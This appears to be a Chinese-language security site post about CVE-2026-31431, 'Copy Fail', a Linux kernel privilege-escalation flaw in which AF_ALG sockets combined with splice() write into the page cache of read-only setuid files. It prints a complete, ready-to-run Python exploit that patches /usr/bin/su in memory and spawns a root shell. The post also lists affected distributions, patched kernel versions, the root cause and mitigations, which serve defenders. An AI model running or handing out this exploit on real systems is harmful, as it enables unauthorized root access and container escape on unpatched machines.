CVE-2026-31431

CVE-2026-31431

漏洞名称:Copy Fail

漏洞编号:CVE-2026-31431

危险等级:高危

核心影响:普通用户可稳定获取 Root 权限,且支持容器逃逸。

利用难度:极低。无需竞争条件,无需编译,仅需一个 Python 脚本即可利用。

EXP

#!/usr/bin/env python3

import os as g,zlib,socket as s

def d(x):

return bytes.fromhex(x)

def c(f,t,c):

a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)

try:

u.recv(8+t)

except:0

f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i<len(e):

c(f,i,e[i:i+4])

i+=4

g.system("su")

image.png

image.png

目前已知受影响版本:

自 2017 年以来几乎所有主流 Linux 发行版,如:

Ubuntu 24.04 LTS

Amazon Linux 2023

Red Hat Enterprise Linux 10 / 9 / 8

SUSE 16

及基于上述内核版本的各类衍生发行版

修复版本:

Linux Kernel 6.18:升级至 6.18.22 及以上

Linux Kernel 6.19:升级至 6.19.12 及以上

Linux Kernel 7.0:升级至 7.0 或应用相关补丁

旧版本内核:应用官方 Commit a664bf3d603d

漏洞根源:
内核加密子系统中,AF_ALG套接字与splice()系统调用组合使用时存在页缓存写入逻辑缺陷,导致对只读setuid文件的非法篡改成为可能。

漏洞原理

该漏洞的核心问题,在于Linux内核加密子系统处理AF_ALG套接字数据拷贝时的逻辑不一致:

1. AF_ALG加密接口异常: 内核的AF_ALG(Algorithm Socket)加密接口在配合splice()系统调用时,错误地允许向任意可读文件的页缓存(page cache)写入数据,即使该文件本身为只读权限;

2. 页缓存污染: 攻击者利用该缺陷,可向系统上任意可读文件(如/usr/bin/passwd、/usr/bin/sudo等setuid程序)的页缓存中,精准写入受控的4字节数据,覆盖程序的关键逻辑或校验字段;

3. setuid程序篡改: 由于页缓存被污染,当系统后续执行该setuid程序时,实际运行的是被篡改后的内存版本,而非磁盘上的原始只读文件,从而绕过setuid机制的安全边界;

4. 权限直接提升: 攻击者通过篡改特定的setuid程序,使其在执行时直接授予攻击者进程root权限上下文,无需竞争条件、无需暴力破解,即可稳定获得root shell。

简单来说,攻击者只需利用AF_ALG与splice()的组合,向系统关键setuid程序的页缓存中"注入"4字节恶意数据,就能让内核在后续执行该程序时,错误地将其识别为合法操作,从而直接突破权限管控,获取root权限。

缓解措施:

如果无法及时升级,请禁用漏洞模块,阻止 algif_aead 模块被加载。

(注:如果内核将该功能静态编译进去了,此方法无效,必须升级内核)

对于 Docker/K8s 环境,建议通过 Seccomp 策略禁止容器内创建 AF_ALG 套接字,防止容器逃逸。

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。